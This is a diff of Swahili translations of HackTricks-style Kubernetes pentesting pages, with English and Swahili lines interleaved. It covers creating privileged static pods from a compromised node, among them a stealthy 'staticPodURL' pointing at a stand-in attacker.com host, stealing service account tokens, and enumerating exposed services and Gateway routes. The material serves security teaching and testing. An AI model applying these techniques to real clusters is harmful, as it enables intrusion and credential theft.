If you are inside the node host you can make it create a **static pod inside itself**. This is pretty useful because it might allow you to **create a pod in a different namespace** like **kube-system**.
|
||||
|
||||
Ili kuunda static pod, [**docs ni msaada mkubwa**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). Kimsingi unahitaji vitu 2:
|
||||
In order to create a static pod, the [**docs are a great help**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). You basically need 2 things:
|
||||
|
||||
- Sanidi param **`--pod-manifest-path=/etc/kubernetes/manifests`** kwenye **kubelet service**, au kwenye **kubelet config** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) na uanze upya service
|
||||
- Unda definition kwenye **pod definition** ndani ya **`/etc/kubernetes/manifests`**
|
||||
- Configure the param **`--pod-manifest-path=/etc/kubernetes/manifests`** in the **kubelet service**, or in the **kubelet config** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) and restart the service
|
||||
- Create the definition on the **pod definition** in **`/etc/kubernetes/manifests`**
|
||||
|
||||
**Njia nyingine ya stealth zaidi ingekuwa:**
|
||||
**Another more stealth way would be to:**
|
||||
|
||||
- Badilisha param **`staticPodURL`** kutoka kwenye faili ya config ya **kubelet** na uweke kitu kama `staticPodURL: http://attacker.com:8765/pod.yaml`. Hii itafanya mchakato wa kubelet kuunda **static pod** ukipata **configuration kutoka URL iliyoonyeshwa**.
|
||||
- Modify the param **`staticPodURL`** from **kubelet** config file and set something like **`staticPodURL: http://attacker.com:8765/pod.yaml`**. This will make the kubelet process create a **static pod** getting the **configuration from the indicated URL**.
|
||||
|
||||
**Example** ya **pod** configuration ya kuunda privilege pod katika **kube-system** iliyochukuliwa kutoka [**here**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/):
|
||||
**Example** of **pod** configuration to create a privilege pod in **kube-system** taken from [**here**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/):
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -467,10 +417,10 @@ hostPath:
|
||||
path: /
|
||||
type: Directory
|
||||
```
|
||||
### Futa pods + nodi zisizoweza kuratibiwa
|
||||
### Futa pods + unschedulable nodes
|
||||
|
||||
Ikiwa mshambulizi **amekompromiti node** na anaweza **kufuta pods** kutoka kwa node nyingine na **kufanya node nyingine zisiweze kuendesha pods**, pods hizo zitaendeshwa tena kwenye node iliyokompromitiwa na ataweza **kuiba tokens** zinazoendeshwa ndani yake.\
|
||||
Kwa [**maelezo zaidi fuata viungo hivi**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes).
|
||||
Ikiwa mshambulizi ame **compromise node** na anaweza **delete pods** kutoka kwa nodes nyingine na **kufanya nodes nyingine zisiweze kuexecute pods**, pods hizo zitaendeshwa tena kwenye compromised node na ataweza **kuiba tokens** zinazoendeshwa ndani yake.\
|
||||
Kwa [**maelezo zaidi fuata link hii**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes).
|
||||
|
||||
## Automatic Tools
|
||||
|
||||
@@ -536,7 +486,7 @@ Off-Menu +
|
||||
```
|
||||
- [**https://github.com/r0binak/MTKPI**](https://github.com/r0binak/MTKPI)
|
||||
|
||||
## Marejeo
|
||||
## References
|
||||
|
||||
- [Forgotten (HTB) - Writable bind mount SUID planting](https://0xdf.gitlab.io/2025/09/16/htb-forgotten.html)
|
||||
- [Kubernetes hostPath volume](https://kubernetes.io/docs/concepts/storage/volumes/#hostpath)
|
||||
|
||||
@@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Kuna **njia tofauti za kufichua services** katika Kubernetes ili **internal** endpoints na **external** endpoints ziweze kuzifikia. Configuration hii ya Kubernetes ni muhimu sana kwa sababu administrator anaweza kuwapa **attackers ufikiaji wa services ambazo hawapaswi kuweza kuzifikia**.
|
||||
Kuna **njia tofauti za kufichua services** ndani ya Kubernetes ili endpoints za **ndani** na endpoints za **nje** ziweze kuzifikia. Configuration hii ya Kubernetes ni muhimu sana kwa sababu administrator anaweza kuwapa **attackers access kwa services ambazo hawapaswi kuzifikia**.
|
||||
|
||||
### Automatic Enumeration
|
||||
|
||||
Kabla ya kuanza ku-enumerate njia ambazo K8s inatoa za kufichua services kwa public, jua kwamba ikiwa unaweza ku-list namespaces, services na ingresses, unaweza kupata kila kitu kilichofichuliwa kwa public kwa:
|
||||
Kabla ya kuanza kuenumerate njia ambazo K8s inatoa za kufichua services kwa public, fahamu kwamba ikiwa unaweza kuorodhesha namespaces, services na ingresses, unaweza kupata kila kitu kilichofichuliwa kwa public kwa:
|
||||
```bash
|
||||
kubectl get namespace -o custom-columns='NAME:.metadata.name' | grep -v NAME | while IFS='' read -r ns; do
|
||||
echo "Namespace: $ns"
|
||||
@@ -20,13 +20,13 @@ done | grep -v "ClusterIP"
|
||||
```
|
||||
### ClusterIP
|
||||
|
||||
Huduma ya **ClusterIP** ni **default** ya Kubernetes **service**. Inakupa **service ndani** ya cluster yako ambayo apps nyingine ndani ya cluster yako zinaweza kufikia. Hakuna **external access**.
|
||||
Huduma ya **ClusterIP** ni **default** ya Kubernetes **service**. Hutoa **service ndani ya** cluster yako ambayo apps nyingine ndani ya cluster yako zinaweza kufikia. **Hakuna access ya nje**.
|
||||
|
||||
Hata hivyo, hii inaweza kufikiwa kwa kutumia Kubernetes Proxy:
|
||||
```bash
|
||||
kubectl proxy --port=8080
|
||||
```
|
||||
Sasa, unaweza kupitia Kubernetes API kufikia services ukitumia mpangilio huu:
|
||||
Sasa, unaweza kuvinjari kupitia Kubernetes API ili kufikia services kwa kutumia mpangilio huu:
|
||||
|
||||
`http://localhost:8080/api/v1/proxy/namespaces/<NAMESPACE>/services/<SERVICE-NAME>:<PORT-NAME>/`
|
||||
|
||||
@@ -34,7 +34,7 @@ Kwa mfano unaweza kutumia URL ifuatayo:
|
||||
|
||||
`http://localhost:8080/api/v1/proxy/namespaces/default/services/my-internal-service:http/`
|
||||
|
||||
kufikia service hii:
|
||||
ili kufikia service hii:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
@@ -50,15 +50,15 @@ port: 80
|
||||
targetPort: 80
|
||||
protocol: TCP
|
||||
```
|
||||
_Mbinu hii inahitaji uendeshe `kubectl` kama **mtumiaji aliyethibitishwa**._
|
||||
_Njia hii inahitaji uendeshe `kubectl` kama **authenticated user**._
|
||||
|
||||
Orodhesha zote ClusterIPs:
|
||||
Orodhesha ClusterIPs zote:
|
||||
```bash
|
||||
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep ClusterIP
|
||||
```
|
||||
### NodePort
|
||||
|
||||
Wakati **NodePort** inapotumika, porti maalum inapatikana kwenye Nodes zote (zinazoonyesha Virtual Machines). **Traffic** inayoelekezwa kwenye porti hii mahususi basi **huelekezwa kwa service** kwa utaratibu. Kwa kawaida, njia hii haipendekezwi kwa sababu ya mapungufu yake.
|
||||
Wakati **NodePort** inatumiwa, port maalum inafanywa ipatikane kwenye Nodes zote (zinazowakilisha Virtual Machines). **Traffic** inayoelekezwa kwenye port hii mahususi basi **huelekezwa kwa service** kwa utaratibu. Kwa kawaida, mbinu hii haipendekezwi kutokana na mapungufu yake.
|
||||
|
||||
Orodhesha NodePorts zote:
|
||||
```bash
|
||||
@@ -81,41 +81,42 @@ targetPort: 80
|
||||
nodePort: 30036
|
||||
protocol: TCP
|
||||
```
|
||||
Usipoweka **nodePort** katika yaml (ndiyo bandari itakayofunguliwa), bandari katika **masafa 30000–32767 itatumika**.
|
||||
Uki **huelezwi** **nodePort** katika yaml (ni port ambayo itafunguliwa), port ndani ya **range 30000–32767 itatumika**.
|
||||
|
||||
Unapokagua NodePort au LoadBalancer Services, pia kagua fields za traffic-policy kwa sababu hubadilisha ni nodes na backends zipi zinafaa kutoka kwenye chanzo fulani:
|
||||
Wakati wa kukagua NodePort au LoadBalancer Services, pia kagua fields za traffic-policy kwa sababu hubadilisha ni nodes na backends zipi zinafaa kutoka source fulani:
|
||||
```bash
|
||||
kubectl get services --all-namespaces \
|
||||
-o custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,ETP:.spec.externalTrafficPolicy,ITP:.spec.internalTrafficPolicy,AFFINITY:.spec.sessionAffinity,DIST:.spec.trafficDistribution,NODEPORTS:.spec.ports[*].nodePort'
|
||||
```
|
||||
- `externalTrafficPolicy: Local` huhifadhi IP asili ya mteja kwa traffic ya NodePort/LoadBalancer na huepuka forwarding kwenda endpoints kwenye nodes nyingine. Node bila local ready endpoint inaweza ku-drop traffic hata kama Service ina endpoints mahali pengine.
|
||||
- NodePorts kwa kawaida huwekwa wazi kwenye node addresses, lakini kube-proxy inaweza kuzuia address ranges kwa `--nodeport-addresses` au `nodePortAddresses` katika configuration yake. Angalia active kube-proxy au CNI service-proxy replacement configuration kabla ya kudhani NodePort inapatikana kwenye kila node IP.
|
||||
- `externalTrafficPolicy: Local` huhifadhi original client source IP kwa NodePort/LoadBalancer traffic na huepuka forwarding kwenda endpoints kwenye nodes nyingine. Node bila local ready endpoint inaweza kudrop traffic hata kama Service ina endpoints kwingine.
|
||||
- `externalTrafficPolicy: Cluster` ndiyo default na inaweza forward kupitia node yoyote, lakini backend logs zinaweza kuona node IPs badala ya real external client IP.
|
||||
- `internalTrafficPolicy: Local` huweka limits kwa in-cluster Service traffic kwenda endpoints zilizo local kwa source node. Hii ni locality routing, si authorization boundary.
|
||||
- `sessionAffinity: ClientIP` inaweza kufanya majaribio ya kurudiwa kutoka client mmoja yapige backend ile ile, ikificha endpoints nyingine ready wakati wa manual checks.
|
||||
- `trafficDistribution` na EndpointSlice topology hints vinaweza kupendelea same-zone au same-node endpoints kwenye clusters mpya; vitazame kama routing preferences badala ya hard security policy.
|
||||
- `internalTrafficPolicy: Local` hupunguza in-cluster Service traffic kwenda endpoints zilizo local kwa source node. Hii ni locality routing, si authorization boundary.
|
||||
- `sessionAffinity: ClientIP` inaweza kufanya repeated tests kutoka kwa client mmoja zifikie same backend, ikificha other ready endpoints wakati wa manual checks.
|
||||
- `trafficDistribution` na EndpointSlice topology hints zinaweza kupendelea same-zone au same-node endpoints kwenye newer clusters; zichukulie kama routing preferences badala ya hard security policy.
|
||||
|
||||
### LoadBalancer
|
||||
|
||||
Hufichua Service kwa nje **kwa kutumia cloud provider's load balancer**. Kwenye GKE, hii itazindua [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) ambayo itakupa single IP address ambayo ita-forward traffic yote kwenda service yako. Kwenye AWS itazindua Load Balancer.
|
||||
Hu-expose Service externally **using a cloud provider's load balancer**. On GKE, hii itaanzisha [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) ambayo itakupa single IP address itakayoforward traffic yote kwenda kwenye service yako. In AWS itazindua Load Balancer.
|
||||
|
||||
Lazima ulipe LoadBalancer kwa kila exposed service, jambo ambalo linaweza kuwa ghali.
|
||||
Unalazimika kulipia LoadBalancer kwa kila exposed service, jambo ambalo linaweza kuwa ghali.
|
||||
|
||||
Orodhesha LoadBalancers zote:
|
||||
List all LoadBalancers:
|
||||
```bash
|
||||
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,EXTERNAL-IP:.status.loadBalancer.ingress[*],PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep LoadBalancer
|
||||
```
|
||||
### External IPs
|
||||
|
||||
> [!TIP]
|
||||
> External IPs ziko wazi kupitia services za aina ya Load Balancers na kwa kawaida hutumika wakati external Cloud Provider Load Balancer inatumika.
|
||||
> External IPs zinaonyeshwa na services za aina ya Load Balancers na kwa kawaida hutumika wakati external Cloud Provider Load Balancer inatumika.
|
||||
>
|
||||
> Ili kuzitafuta, angalia load balancers zenye thamani katika field ya `EXTERNAL-IP`.
|
||||
> Ili kuzitafuta, angalia load balancers zenye thamani katika uga wa `EXTERNAL-IP`.
|
||||
|
||||
Traffic inayoingia kwenye cluster kupitia **external IP** (kama **destination IP**), kwenye port ya Service, itakuwa **routed to one of the Service endpoints**. `externalIPs` hazisimamiwi na Kubernetes na ni jukumu la cluster administrator.
|
||||
Traffic inayoingia kwenye cluster kupitia **external IP** (kama **destination IP**), kwenye Service port, itakuwa **routed to one of the Service endpoints**. `externalIPs` hazisimamiwi na Kubernetes na ni jukumu la cluster administrator.
|
||||
|
||||
`externalIPs` ni field nyeti ya route-control kwa sababu user anayeweza kuiweka anaweza kudai traffic ya IP address ambayo owner wa Service hapaswi kuidhibiti ikiwa network inayozunguka ina-route IP hiyo kwenda kwenye cluster. Kubernetes ilitangaza deprecation na removal iliyopangwa ya Service `externalIPs` katika v1.36, hivyo tumia mechanisms za exposure zinazoendeshwa na controller kama LoadBalancer integrations au Gateway API inapowezekana, na restrict/admit field hii kwa uangalifu wakati bado ipo.
|
||||
`externalIPs` ni sensitive route-control field kwa sababu user anayoweza kuiweka anaweza kudai traffic ya IP address ambayo owner wa Service hapaswi kuidhibiti ikiwa network inayozunguka ina-route IP hiyo kwenda kwenye cluster. Kubernetes ilitangaza deprecation na removal iliyopangwa ya Service `externalIPs` katika v1.36, hivyo tumia kwa upendeleo controller-owned exposure mechanisms kama LoadBalancer integrations au Gateway API inapowezekana, na punguza/kubali field hii kwa uangalifu wakati bado ipo.
|
||||
|
||||
Katika Service spec, `externalIPs` zinaweza kubainishwa pamoja na yoyote ya `ServiceTypes`. Katika mfano hapa chini, "`my-service`" inaweza kufikiwa na clients kwenye "`80.11.12.10:80`" (`externalIP:port`)
|
||||
Katika Service spec, `externalIPs` inaweza kutajwa pamoja na aina yoyote ya `ServiceTypes`. Katika mfano hapa chini, "`my-service`" inaweza kufikiwa na clients kwenye "`80.11.12.10:80`" (`externalIP:port`)
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
@@ -134,9 +135,9 @@ externalIPs:
|
||||
```
|
||||
### ExternalName
|
||||
|
||||
[**Kutoka kwenye docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Services za type ExternalName **hulinganisha Service na jina la DNS**, si kwa selector ya kawaida kama `my-service` au `cassandra`. Unaweka Services hizi kwa parameter ya `spec.externalName`.
|
||||
[**From the docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Services za aina ya ExternalName **huweka Service kwenye jina la DNS**, si kwenye selector ya kawaida kama `my-service` au `cassandra`. Unaainisha Services hizi kwa kipengele cha `spec.externalName`.
|
||||
|
||||
Ufafanuzi huu wa Service, kwa mfano, hulinganisha Service ya `my-service` katika namespace ya `prod` na `my.database.example.com`:
|
||||
Ufafanuzi huu wa Service, kwa mfano, unaweka Service ya `my-service` katika namespace `prod` hadi `my.database.example.com`:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
@@ -147,7 +148,9 @@ spec:
|
||||
type: ExternalName
|
||||
externalName: my.database.example.com
|
||||
```
|
||||
Wakati wa kutafuta host `my-service.prod.svc.cluster.local`, huduma ya DNS ya cluster inarudisha rekodi ya `CNAME` yenye thamani `my.database.example.com`. Kufikia `my-service` hufanya kazi kwa njia ileile kama Services nyingine lakini kwa tofauti muhimu kwamba **redirection hutokea katika kiwango cha DNS** badala ya kupitia proxying au forwarding.
|
||||
Unapochunguza host `my-service.prod.svc.cluster.local`, cluster DNS Service hurejesha rekodi ya `CNAME` yenye thamani `my.database.example.com`. Kufikia `my-service` hufanya kazi kwa njia sawa na Services nyingine lakini kwa tofauti muhimu kwamba **redirection hutokea katika kiwango cha DNS** badala ya kupitia proxying au forwarding.
|
||||
|
||||
Security review note: ikiwa Ingress controller, Gateway implementation, service mesh, au application inakubali ExternalName Service kama backend, controller inaweza kutatua na kufikia external name kutoka nafasi yake ya mtandao yenyewe. Hilo linaweza kufichua services za ndani tu kupitia public routing infrastructure wakati users wanaweza kuunda zote mbili route object na ExternalName Service. Kagua implementation na version mahususi ya controller, ExternalName support flags au allowlists, route status, na target domain halisi kabla ya kulichukulia hili kuwa salama. Kwa mfano, Skipper ilirekebisha Kubernetes ExternalName SSRF issue katika v0.24.0 kwa kuzima ExternalName backends kwa default na kuandika chaguo la allowlist.
|
||||
|
||||
Orodhesha ExternalNames zote:
|
||||
```bash
|
||||
@@ -155,7 +158,7 @@ kubectl get services --all-namespaces | grep ExternalName
|
||||
```
|
||||
### EndpointSlices
|
||||
|
||||
EndpointSlices zinaonyesha anwani za backend halisi na ports ambazo Service kwa sasa inaelekeza trafiki kwenda. Ni muhimu sana hasa wakati Service haina selector, wakati labels hazielezi njia ya trafiki, au wakati ni baadhi tu ya backends zilizo tayari.
|
||||
EndpointSlices huonyesha concrete backend addresses na ports ambazo Service kwa sasa inaelekeza kwenda. Ni muhimu hasa wakati Service haina selector, wakati labels hazielezi traffic path, au wakati ni baadhi tu ya backends ziko ready.
|
||||
|
||||
Orodhesha EndpointSlices zinazohusiana na Services:
|
||||
```bash
|
||||
@@ -164,15 +167,15 @@ kubectl get endpointslice -n <namespace> -l kubernetes.io/service-name=<service-
|
||||
kubectl get endpointslice -n <namespace> -l kubernetes.io/service-name=<service-name> \
|
||||
-o custom-columns='NAME:.metadata.name,ADDR:.endpoints[*].addresses,READY:.endpoints[*].conditions.ready,PORTS:.ports[*].port'
|
||||
```
|
||||
Unapokuwa ukikagua exposure, linganisha Service selector na EndpointSlice `targetRef`, endpoint addresses, readiness conditions, na ports. Service isiyo na selector inaweza kuunganishwa na EndpointSlices zinazosimamiwa kwa mikono na kuelekeza traffic kwenda kwenye destination zisizo za Pod au zisizotarajiwa.
|
||||
Wakati wa kukagua exposure, linganisha Service selector na EndpointSlice `targetRef`, endpoint addresses, readiness conditions, na ports. Service isiyo na selector inaweza kuunganishwa na EndpointSlices zinazosimamiwa kwa mkono na kuelekeza traffic kwenye non-Pod au destinations zisizotarajiwa.
|
||||
|
||||
### Ingress
|
||||
|
||||
Tofauti na mifano yote iliyo hapo juu, **Ingress SI aina ya service**. Badala yake, huwa **mbele ya services nyingi na hufanya kazi kama “smart router”** au entrypoint kwenye cluster yako.
|
||||
Tofauti na mifano yote iliyo hapo juu, **Ingress sio aina ya service**. Badala yake, iko **mbele ya services nyingi na hufanya kazi kama “smart router”** au entrypoint ndani ya cluster yako.
|
||||
|
||||
Unaweza kufanya mambo mengi tofauti na Ingress, na zipo **aina nyingi za Ingress controllers zenye capabilities tofauti**.
|
||||
Unaweza kufanya mambo mengi tofauti na Ingress, na kuna **aina nyingi za Ingress controllers zenye capabilities tofauti**.
|
||||
|
||||
Default GKE ingress controller ita- spin up [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) kwa ajili yako. Hii itakuwezesha kufanya routing ya path-based na subdomain-based kwenda backend services. Kwa mfano, unaweza kutuma kila kitu kwenye foo.yourdomain.com kwenda kwenye foo service, na kila kitu kilicho chini ya path ya yourdomain.com/bar/ kwenda kwenye bar service.
|
||||
Default GKE ingress controller ita-spin up [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) kwa ajili yako. Hii itakuwezesha kufanya routing ya path-based na subdomain-based kwenda backend services. Kwa mfano, unaweza kutuma kila kitu kwenye foo.yourdomain.com kwenda foo service, na kila kitu chini ya path ya yourdomain.com/bar/ kwenda bar service.
|
||||
|
||||
YAML ya Ingress object kwenye GKE yenye [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) inaweza kuonekana hivi:
|
||||
```yaml
|
||||
@@ -212,33 +215,42 @@ Orodhesha ingresses zote:
|
||||
```bash
|
||||
kubectl get ingresses --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,RULES:spec.rules[*],STATUS:status'
|
||||
```
|
||||
Ingawa katika kesi hii ni bora kupata info ya kila moja moja moja ili kuisoma vizuri zaidi:
|
||||
Ingawa katika kesi hii ni bora kupata info ya kila moja mmoja mmoja ili kuisoma vizuri zaidi:
|
||||
```bash
|
||||
kubectl get ingresses --all-namespaces -o=yaml
|
||||
```
|
||||
### Gateway API
|
||||
|
||||
Gateway API ni Kubernetes API mpya zaidi kwa kufichua Services. Hutenganisha vitu vya Gateway vinavyomilikiwa na infrastructure kutoka kwa vitu vya Route vinavyomilikiwa na application kama vile HTTPRoute. Hii ni muhimu kwa delegation, lakini pia inamaanisha exposure inaweza kugawanywa across namespaces.
|
||||
Gateway API ni Kubernetes API mpya zaidi ya kufichua Services. Hutenganisha Gateway objects zinazoendeshwa na miundombinu kutoka kwa Route objects zinazonunuliwa na application kama vile HTTPRoute. Hii ni muhimu kwa delegation, lakini pia inamaanisha exposure inaweza kugawanywa kati ya namespaces.
|
||||
|
||||
List Gateway API exposure objects:
|
||||
Orodhesha Gateway API exposure objects:
|
||||
```bash
|
||||
kubectl get gatewayclasses
|
||||
kubectl get gateways --all-namespaces
|
||||
kubectl get httproutes --all-namespaces
|
||||
kubectl get grpcroutes,tlsroutes,tcproutes,udproutes --all-namespaces
|
||||
kubectl get referencegrants --all-namespaces
|
||||
kubectl get backendtlspolicies --all-namespaces
|
||||
kubectl get gateway -n <namespace> <gateway-name> -o yaml
|
||||
kubectl get httproute -n <namespace> <route-name> -o yaml
|
||||
```
|
||||
Angalia Gateway listeners, allowed route namespaces, Route `parentRefs`, hostnames, filters, backend references, na status conditions kama vile kama route ilikubaliwa. Route ambayo imekubaliwa na shared Gateway inaweza kufichua backend hata wakati hakuna legacy Ingress object iliyopo.
|
||||
Angalia Gateway listeners, allowed route namespaces, Route `parentRefs`, hostnames au SNI matches, filters, backend references, na status conditions kama `Accepted`, `ResolvedRefs`, na `Programmed`. Route ambayo imekubaliwa na shared Gateway inaweza kufichua backend hata kama hakuna legacy Ingress object.
|
||||
|
||||
Usiangalie `HTTPRoute` pekee. `GRPCRoute`, `TLSRoute`, `TCPRoute`, na `UDPRoute` zinaweza kufichua non-HTTP services kama admin ports, brokers, databases, service-mesh gateways, au pass-through TLS backends. Pia kagua `ReferenceGrant` objects kwa cross-namespace backend au certificate references na `BackendTLSPolicy` kwa TLS identity ambayo Gateway hutumia inapounganika na backend Services. Backend TLS policy si uthibitisho wa public reachability pekee, lakini ni ushahidi muhimu wakati programmed Gateway route inapofikia ready Service yenye weak, shared, au wrong backend identity validation.
|
||||
|
||||
### References
|
||||
|
||||
- [https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0](https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0)
|
||||
- [https://kubernetes.io/docs/concepts/services-networking/service/](https://kubernetes.io/docs/concepts/services-networking/service/)
|
||||
- [https://kubernetes.io/docs/reference/command-line-tools-reference/kube-proxy/](https://kubernetes.io/docs/reference/command-line-tools-reference/kube-proxy/)
|
||||
- [https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/](https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/)
|
||||
- [https://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/](https://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/)
|
||||
- [https://kubernetes.io/docs/tutorials/services/source-ip/](https://kubernetes.io/docs/tutorials/services/source-ip/)
|
||||
- [https://kubernetes.io/docs/concepts/services-networking/topology-aware-routing/](https://kubernetes.io/docs/concepts/services-networking/topology-aware-routing/)
|
||||
- [https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/](https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/)
|
||||
- [https://gateway-api.sigs.k8s.io/](https://gateway-api.sigs.k8s.io/)
|
||||
- [https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/](https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/)
|
||||
- [https://gateway-api.sigs.k8s.io/api-types/backendtlspolicy/](https://gateway-api.sigs.k8s.io/api-types/backendtlspolicy/)
|
||||
- [https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9](https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,50 +4,50 @@
|
||||
|
||||
## Kubernetes Tokens
|
||||
|
||||
Ikiwa umecompromise access kwenye machine, user anaweza kuwa na access kwa baadhi ya Kubernetes platform. Token kawaida hupatikana kwenye file iliyoainishwa na **env var `KUBECONFIG`** au **ndani ya `~/.kube`**.
|
||||
Ukish compromise access kwa machine, mtumiaji anaweza kuwa na access kwa baadhi ya platform ya Kubernetes. Token kawaida iko katika file iliyoelekezwa na **env var `KUBECONFIG`** au **ndani ya `~/.kube`**.
|
||||
|
||||
Ndani ya folder hii unaweza kupata config files zenye **tokens na configurations za kuconnect kwenye API server**. Ndani ya folder hii pia unaweza kupata cache folder yenye information iliyopatikana hapo awali.
|
||||
Katika folder hili unaweza kupata config files zenye **tokens and configurations to connect to the API server**. Katika folder hili pia unaweza kupata cache folder yenye information iliyopatikana hapo awali.
|
||||
|
||||
Ikiwa umecompromise pod ndani ya mazingira ya kubernetes, kuna maeneo mengine ambako unaweza kupata tokens na information kuhusu current K8 env:
|
||||
Ikiwa ume compromise pod ndani ya mazingira ya kubernetes, kuna maeneo mengine ambapo unaweza kupata tokens na information kuhusu current K8 env:
|
||||
|
||||
### Service Account Tokens
|
||||
|
||||
Kabla ya kuendelea, ikiwa hujui service ni nini katika Kubernetes ningependekeza **ufuate link hii na usome angalau information kuhusu Kubernetes architecture.**
|
||||
Kabla hujaendelea, ikiwa hujui service ni nini katika Kubernetes ningependekeza **ufuate link hii na usome angalau information kuhusu Kubernetes architecture.**
|
||||
|
||||
Imechukuliwa kutoka kwa Kubernetes [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server):
|
||||
Imenukuliwa kutoka kwa Kubernetes [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server):
|
||||
|
||||
_“When you create a pod, if you do not specify a service account, it is automatically assigned the_ default _service account in the same namespace.”_
|
||||
|
||||
**ServiceAccount** ni object inayosimamiwa na Kubernetes na hutumika kutoa identity kwa processes zinazoendeshwa ndani ya pod.\
|
||||
Kila service account ina secret inayohusiana nayo na secret hii ina bearer token. Hii ni JSON Web Token (JWT), method ya kuwakilisha claims kwa usalama kati ya pande mbili.
|
||||
**ServiceAccount** ni object inayoendeshwa na Kubernetes na hutumika kutoa identity kwa processes zinazoendeshwa ndani ya pod.\
|
||||
Kila service account ina secret inayohusiana nayo na secret hii ina bearer token. Hii ni JSON Web Token (JWT), njia ya kuwakilisha claims kwa usalama kati ya pande mbili.
|
||||
|
||||
Kawaida **moja** ya directories:
|
||||
Kawaida **mmoja** kati ya directories:
|
||||
|
||||
- `/run/secrets/kubernetes.io/serviceaccount`
|
||||
- `/var/run/secrets/kubernetes.io/serviceaccount`
|
||||
- `/secrets/kubernetes.io/serviceaccount`
|
||||
|
||||
huw contain files:
|
||||
huwa na files:
|
||||
|
||||
- **ca.crt**: Ni ca certificate ya ku-check kubernetes communications
|
||||
- **ca.crt**: Ni ca certificate ya kuangalia communications za kubernetes
|
||||
- **namespace**: Inaonyesha current namespace
|
||||
- **token**: Inahifadhi **service token** ya current pod.
|
||||
- **token**: Ina **service token** ya current pod.
|
||||
|
||||
Sasa kwa kuwa una token, unaweza kupata API server ndani ya environment variable **`KUBECONFIG`**. Kwa maelezo zaidi run `(env | set) | grep -i "kuber|kube`**`"`**
|
||||
Sasa kwa kuwa una token, unaweza kupata API server ndani ya environment variable **`KUBECONFIG`**. Kwa info zaidi endesha `(env | set) | grep -i "kuber|kube`**`"`**
|
||||
|
||||
Service account token inasainiwa na key iliyo kwenye file **sa.key** na kuthibitishwa na **sa.pub**.
|
||||
Service account token inasainiwa na key iliyo ndani ya file **sa.key** na kuthibitishwa na **sa.pub**.
|
||||
|
||||
Default location on **Kubernetes**:
|
||||
Default location kwenye **Kubernetes**:
|
||||
|
||||
- /etc/kubernetes/pki
|
||||
|
||||
Default location on **Minikube**:
|
||||
Default location kwenye **Minikube**:
|
||||
|
||||
- /var/lib/localkube/certs
|
||||
|
||||
### Hot Pods
|
||||
|
||||
_**Hot pods are**_ pods zenye privileged service account token. A privileged service account token ni token yenye permission ya kufanya privileged tasks kama listing secrets, creating pods, n.k.
|
||||
_**Hot pods are**_ pods zenye privileged service account token. Privileged service account token ni token yenye ruhusa ya kufanya privileged tasks kama listing secrets, creating pods, n.k.
|
||||
|
||||
## RBAC
|
||||
|
||||
@@ -55,35 +55,35 @@ Kama hujui **RBAC** ni nini, **soma sehemu hii**.
|
||||
|
||||
## GUI Applications
|
||||
|
||||
- **k9s**: GUI inayofanya enumeration ya kubernetes cluster kutoka terminal. Angalia commands katika [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Andika `:namespace` na select all kisha tafuta resources katika namespaces zote.
|
||||
- **k8slens**: Inatoa free trial days kadhaa: [https://k8slens.dev/](https://k8slens.dev/)
|
||||
